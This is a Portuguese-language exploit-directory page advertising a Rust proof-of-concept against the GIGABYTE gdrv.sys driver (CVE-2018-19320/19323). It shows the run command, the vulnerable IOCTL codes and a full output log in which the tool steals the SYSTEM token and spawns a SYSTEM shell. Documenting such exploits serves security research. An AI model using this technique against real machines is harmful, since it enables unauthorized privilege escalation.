Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2018-1932X — POC em Rust para vulnerabilidades do driver de kernel CVE-2018-1932X | Kitploit
Ferramentas/GitHubGitHub/bkreisel/cve-2018-1932x
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoPós-ExploraçãoDesenvolvimento de PayloadsExploração de Binários
GitHubbkreisel/cve-2018-1932x

CVE-2018-1932X

POC em Rust para vulnerabilidades do driver de kernel CVE-2018-1932X

Ver Repositório
31há 4 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2018-1932X (POC de Exploit em Rust) para GIGABYTE APP Center v1.05.21 e anteriores

Só porque seu alvo não é seguro para memória não significa que seu exploit precise ser!

Vulnerabilidades usadas :

  • CVE-2018-19320 - funcionalidade semelhante a memcpy no ring0
  • CVE-2018-19323 - ler e escrever Registros Específicos da Máquina (MSRs).

Testado em:

  • 20H1: Windows 10 Kernel Version 19041 MP (1 procs) Free x64

Referências

  • Projeto Vergilius: Estruturas de Kernel
  • Anúncio de Patch da Gigabyte
  • Detalhes de _KPCR

Requisitos

  • Apenas x64
  • Builds testados # acima
  • Driver GIGABYTE carregado: gdrv.sys

Uso

.\CVE-2018-1932X.exe

Exemplo

root@kitploit:~
PS Z:\CVE-2018-1932X\target\debug> .\CVE-2018-1932X.exe
CVE-2019-1932X

Opening Handle to Kernel Driver: \\.\GIO
Acquired Handle: 0xa8
Sending IOCTL: 0xc3502580 with 0x10 bytes of data
  [+] Leaked   _KPCR: ffffe48159d88000
  [*] Address  _KPCRB: ffffe48159d88020
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
  [+] Leaked   _KPRCB: ffffe48159d88180
  [*] Address  _KTHREAD: ffffe48159d88188
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
  [+] Leaked   _KTHREAD: ffffb50b14d16080
  [*] Address  _KPROCESS: ffffb50b14d162a0
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
  [+] Leaked   _KPROCESS: ffffb50b1507f080
  [*] Address  PID: ffffb50b1507f4c0
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
  [+] Leaked   PID: 2092
  [+] Known    PID: 2092
Walking Active Process Links...
  [*] Address  ActiveProcessLinks.Flink: ffffb50b1507f4c8 (PID: 82c)
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
  [+] Leaked   _EPROCESS: fffff8015561e060 (PID: 0)
  [*] Address  ActiveProcessLinks.Flink: fffff8015561e060 (PID: 0)
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
  [+] Leaked   _EPROCESS: ffffb50b100624c8 (PID: 4)
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
  [+] Current Token: ffff9708cac8306e
  [+] System  Token: ffff9708c567b047
Borrowing SYSTEM Token...
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
  [+] Current Token: ffff9708c567b047
Spawning Process...
  [+] Spawned SYSTEM Process
Closing Handle to Kernel Driver: \\.\GIO

PowerShell gerado:

root@kitploit:~
PS C:\> whoami
nt authority\system

Blocos Vulneráveis

Memcpy (IOCTL 0x0C3502808)

Blocos de código Memcpy

Manipulação de MSR (IOCTL 0x0C3502580)

Blocos de código MSR

Baixar ferramenta